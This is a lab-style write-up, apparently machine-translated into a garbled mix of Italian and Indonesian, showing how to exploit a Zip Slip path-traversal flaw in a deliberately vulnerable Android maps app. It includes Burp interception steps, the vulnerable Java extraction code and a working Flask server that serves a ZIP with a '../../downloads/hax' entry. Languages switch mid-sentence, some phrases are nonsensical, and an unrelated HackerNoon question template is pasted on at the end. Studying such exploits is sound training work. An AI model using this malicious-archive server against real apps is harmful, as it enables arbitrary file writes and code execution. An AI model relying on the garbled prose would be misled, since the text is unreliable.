Zip Slip è una grave vulnerabilità diffusa nel processo di estrazione degli archivi, che consente agli aggressori di scrivere qualsiasi file sul sistema. In genere, ciò si traduce in RCE (Remote Code Execution) . La vulnerabilità è stata scoperta e divulgata in modo responsabile dal team di sicurezza di Snyk prima di essere resa pubblica il 5 giugno 2018. Il problema riguarda migliaia di progetti, inclusi quelli di proprietà di grandi aziende come HP, Amazon, Apache, Pivotal e molte altre.
Zip Slip viene sfruttato tramite archivi creati appositamente con nomi di file che includono directory traversal (eg, ../../evil.sh)
. Questa vulnerabilità può verificarsi in molti formati di archivio, come tar, ghz, jar, war, cpio, apk, rar e 7z.
Il nocciolo di questa vulnerabilità è il directory traversal, in cui un aggressore può accedere a parti dei file di sistema al di fuori della cartella di destinazione. L'aggressore può quindi sovrascrivere il file eseguibile ed eseguirlo in remoto, oppure attendere che il sistema o l'utente chiami il file, in modo da poter eseguire comandi sulla macchina della vittima. Inoltre, questa vulnerabilità può anche causare danni sovrascrivendo i file di configurazione o altre risorse sensibili, e può essere sfruttata sia sulla macchina dell'utente che sul server.
Questo strumento è stato creato per sfruttare la vulnerabilità ZIP Slip grazie a questa nuova applicazione per Android che è stata noleggiata per questa pratica.
Questa è l'applicazione seperti di Google Maps per accedere alle mappe locali kita harus mendownload risorsa nya dengan cara fare clic sul pulsante + di layar.
Tetapi sebelum kita analysis Flow dari cara kerja apk ini kita harus memakai apk Burpsuite. Per utilizzare il tuo apk Burpsuite, è un'applicazione utilizzata per utilizzare applicazioni web e mobili. Alat ini berfungsi untuk mendeteksi kerentanan, menganalisis, dan mengatasi masalah keamanan .
Anda bisa mendownload Tools nya dengan Click Link dibawah ini:
https://portswigger.net/burp/communitydownload
Questo è il problema di Intercept, ma non è possibile modificare le mappe, e bisa di analisi, in questo apk noleggiato, l'API può essere supportata dal protocollo HTTP ma non da HTTPS, ma non da HTTPS, l'attaccante non ha più traffico in quel momento e non è stato modificato, Tetapi ha anche due problemi. manipolare/memodifikasi richiesta e risposta nya secara Cleartext.
Dan fakta nya bahwa ketika masih memakai HTTP dapat membuka seluruh area permukaan serangan, Contohnya jenis serangan yang sedang kita buat ini.
Devi solo utilizzare Tools JADX per l'analisi del Reverse Engineering, in modo da poter utilizzare l'analisi statica in base alla tua applicazione per creare una struttura e un'applicazione logica.
Dopo aver analizzato il file network_security_config.xml
l'applicazione verrà configurata cleartextTrafficPermitted="true"
. Se la configurazione viene eseguita, il traffico di testo in chiaro può essere modificato per consentire l'accesso al dominio. Il tuo dominio è stato creato per essere utilizzato per CleartextTraffic. Bisa saja ini dibuat hanya untuk pengujian / tidak digunakan dalam production.
ini adalah Hasil intercept ketika kita menscarica mappe nya yang dimana dia mengambil file ZIP con il formato .ghz
Dan mencoba mendownload file .ghz secara manual dengan copas di laptop. Berikut è un file isi ZIP tersebut.
Per modificare la posizione dei dati, decomprimere l'applicazione o il comando find / | grep australia oceania_nauru.map
dell'emulatore mobile adb shell nya e pastikan juga kalau kita sudah memiliki akses root dell'emulatore.
Bisa dilihat kalau path file yang da decomprimere ada di:
/data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/
Ini juga menunjukkan kepada kita bahwa aplikasi benar-benar meng-unzip file map nya.
La vulnerabilità di scrittura di file arbitraria nella nuova applicazione è molto grave, ma il problema relativo alla scrittura di file ZIP è stato risolto con la gestione delle mappe ZIP dei file. Lakukan lagi analisi statica con la parola chiave mencari: ZipEntry
agar mengetahui class kode nya meng-handle file ZIP mapnya.
Sebelum kita analysis lebih dalam code nya, saya akan mengikuti panduan dari snyk team untuk mencari kode yang sering diimplementasi tetapi rentan. Berikut è adalah salah satu panduan yang khusus untuk bahasa java, Bisa baca lebih lanjut: https://github.com/snyk/zip-slip-vulnerability
Penne:
Kode berikut rentan terhadap serangan zip slip karena tidak melakukan validasi yang memadai terhadap jalur file dalam arsip zip sebelum mengekstraknya. In questo caso, e.getName()
può modificare il nome del file con la relativa relazione Jalur, seperti ../../malicious.sh
. Ini berarti file tersebut bisa diekstrak di luar destinationDir
yang ditentukan.
InputStream input = zip.getInputStream(e); IOUtils.copy(input, write(f));
Setelah file dibuat, konten file langsung disalin tanpa memeriksa jalur keluaran apakah sudah aman atau tidak. Jika jalur tersebut menuju ke lokasi berbahaya, seperti direktori root sistem atau folder lain yang seharusnya tidak dapat diakses oleh aplikasi, itu bisa sangat berbahaya.
Karena kita sudah mengetahui kode yang rentan sesuai panduan mari kita analysis code di apk nya:
Sentiero Pembuatan Tanpa Validasi:
String str3 = file.getAbsolutePath() + File.separator + nextEntry.getName();
Quindi, il file jalur ( str3
) viene creato con il percorso indicato dall'indirizzo principale ( file.getAbsolutePath()
) con il nome della voce zip ( nextEntry.getName()
). No, nextEntry.getName()
bisa berisi elemento path berbahaya seperti ../../
, yang dapat menyebabkan file diekstrak di luar direktori yang dimaksud ( file
).
Setelah path dibuat, file atau direktori dibuat langsung:
if (nextEntry.isDirectory()) { new File(str3).mkdir(); } else { e(zipInputStream, str3, eVar, "" + i3 + " Unzipping " + str2, size, null); }
Ini membuat atau menulis file tanpa memastikan bahwa str3
adalah jalur yang aman.
Per farlo, 2 hal per l'ambiente sarà nuovo:
Configurazione dell'ambiente di simulazione HTTP dinamico : estensione HTTP Mock dari burpsuite ini dapat mengubah risposta asli dari aplikasinya dengan mencocokkan regole yang sudah kita kirimkan dari http history
maupun input manual
. Pada contoh dibawah ini saya merubah risposta nya dengan memilih Redirect to URL, sehingga setiap risposta aplikasi secara in tempo reale akan mengambil risposta dari HTTP Mock.
2. Configura l'ambiente del server locale: Karena setiap request dari aturan yang kita cocokkan reindirizza ke server locale dannoso jadi kita buat untuk dannoso zip nya:
from flask import Flask, jsonify, send_file import zipfile, io app = Flask(__name__) @app.route('/map.json') def map_json(): response = { "maps-0.13.0_0-path": "maps", "maps-0.13.0_0": [ {"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"}, ] } return jsonify(response) @app.route('/map.ghz') def map_archive(): # Create a ZipFile object zip_buffer = io.BytesIO() filename = "../../downloads/hax" with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: content = "You have been hacked" zip_file.writestr(filename, content) zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) if __name__ == '__main__': app.run(debug=True, port=1234)
Perché sei un'autorità in materia di sicurezza digitale?
Il cybercrime è in continua evoluzione. Quali sono le novità nel mondo del cybercrime che la comunità di HackerNoon potrebbe conoscere nella lotta contro i truffatori digitali?
Trojan, malware, spyware e altro ancora. Qual è lo scoop sugli ultimi bug che potrebbero infettare i nostri amati PC e rubare le nostre informazioni? Ma non finisce qui: fateci sapere quali altri mali informatici ci sono in giro!
Come gestisci le nuove tecnologie con vulnerabilità? Le case intelligenti, l'intelligenza artificiale e l'Internet delle cose hanno le loro vulnerabilità.
Assicurati di cancellare tutte le informazioni di cui sopra prima di scrivere e inviare la tua bozza. Grazie!